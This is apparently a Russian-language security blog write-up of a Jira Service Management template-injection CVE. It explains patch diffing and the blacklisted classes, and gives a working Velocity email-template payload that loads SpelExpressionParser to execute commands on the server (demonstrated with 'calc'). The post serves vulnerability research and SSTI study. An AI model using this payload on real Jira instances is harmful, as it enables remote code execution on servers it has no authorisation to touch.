
Инъекция в шаблонах электронных писем приводит к выполнению кода на сервере Jira Service Management
Инъекция шаблонов в Email Templates приводит к выполнению кода на Jira Service Management Server
Я уже рассказывал, как развернуть и отладить всё это здесь, можете почитать.
В описании этого CVE прямо сказано, что баг находится в функциональности Email Template. Имея права администратора, пользователь может произвольно изменять шаблоны писем-уведомлений. Баг требует прав администратора, поэтому даже RCE не слишком критичен, но я всё равно решил написать блог, просто ради удовольствия :) тем, кто изучает SSTI, может пригодиться.
atlassian-jira-servicedesk-4.17.0-m0006-standalone и решил сделать diff, чтобы посмотреть, чем она отличается от версии 4.18.0:

Увидев этот ворох файлов,.... конечно, я не стал читать каждый файл по отдельности — я слишком ленив. Шучу. На самом деле, помимо добавленного фикса безопасности, в версиях есть и обновления/изменения функциональности. Сидеть и читать всё после полного diff — слишком долго. Разумеется, в некоторых случаях приходится делать полный diff и разбирать его, но в данном случае я так делать не стал =)))
SendBulkMail, чтобы сформировать письмо-уведомление. Стек вызовов этого endpoint я, пожалуй, описывать не буду, чтобы не растягивать статью, — он аналогичен стеку вызовов в CVE-2019-11581В функции SimpleNote.render я могу посмотреть переменную context, чтобы понять, что можно использовать:
По своему опыту я обращаю внимание на контексты/классы, в названиях которых есть такие ключевые слова, как Utils, Manager, service и т.п. Я заметил контекст $jirautils (класс com.atlassian.jira.util.JiraUtils), у которого есть метод public static <T> T loadComponent(String className, Class<?> callingClass) :
Я поискал документацию и почитал, что делает этот метод и как его использовать, ведь на вход он принимает String className, а на выходе возвращает класс, так что вполне возможно, что с его помощью можно загружать классы произвольно:
Я захожу в System -> Email templates и скачиваю текущий файл шаблона на машину
Шаблонов много, и каждый используется для своего типа уведомлений, поэтому я искал файл, который можно использовать сразу для нескольких типов, например email\html\includes\header.vm
После того как я загрузил изменённый шаблон и с помощью SendBulkMail отправил письмо-уведомление, я получил в письме такой вывод:
Похоже, у этого класса нет конструкторов, либо он не принимается. Я попробовал другой класс, у которого есть конструктор (без входных параметров), и посмотрел, что получится:
И результат оказался именно таким, как я ожидал. Класс получить удалось:
Видно, что в чёрный список добавили 3 класса:
org.springframework.expression.spel.standard.SpelExpressionParser,\
com.atlassian.jira.component.ComponentAccessor,\
com.atlassian.jira.plugin.ComponentClassManager
Проверив каждый класс, я заметил, что у класса SpelExpressionParser есть метод public SpelExpression parseRaw(String expressionString). Я немного погуглил, как им пользоваться, и в целом его можно использовать так:
#set($SpelExpressionParser = $jirautils.loadComponent('org.springframework.expression.spel.standard.SpelExpressionParser',$i18n.getClass()))
$SpelExpressionParser.parseRaw("T(java.lang.Runtime).getRuntime().exec('calc')")
Как видите, функция parseRaw возвращает объект класса org.springframework.expression.spel.standard.SpelExpression, но само переданное выражение ещё не вычисляется. Я заглянул в класс SpelExpression и увидел метод getValue:
@Nullable
public Object getValue() throws EvaluationException {
CompiledExpression compiledAst = this.compiledAst;
if (compiledAst != null) {
try {
EvaluationContext context = this.getEvaluationContext();
return compiledAst.getValue(context.getRootObject().getValue(), context);
} catch (Throwable var4) {
if (this.configuration.getCompilerMode() != SpelCompilerMode.MIXED) {
throw new SpelEvaluationException(var4, SpelMessage.EXCEPTION_RUNNING_COMPILED_EXPRESSION, new Object[0]);
}
}
this.compiledAst = null;
this.interpretedCount.set(0);
}
ExpressionState expressionState = new ExpressionState(this.getEvaluationContext(), this.configuration);
Object result = this.ast.getValue(expressionState);
this.checkCompile(expressionState);
return result;
}
Взглянув на входные и выходные данные, я, как человек, полагающийся на высшие силы, решил просто попробовать, не читая документацию:
#set($SpelExpressionParser = $jirautils.loadComponent('org.springframework.expression.spel.standard.SpelExpressionParser',$i18n.getClass()))
$SpelExpressionParser.parseRaw("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()
и результат:
Итак, песочницу velocity обойти удалось и получить RCE. Но если поставить себя на место автора — человека, нашедшего этот баг, — остаётся много вопросов, на которые я не могу ответить:
Когда я разбирался с этими тремя классами, я увидел, что из них можно собрать такую цепочку:
ComponentAccessor.getComponentClassManager()
=> ComponentClassManager.newInstance(String className) (Class này có thể load class tùy ý)
=> SpelExpressionParser
Если автор использовал $jirautils, как и я, то два других класса ему не нужны. Но если автор не использовал $jirautils, то как он получил ComponentAccessor???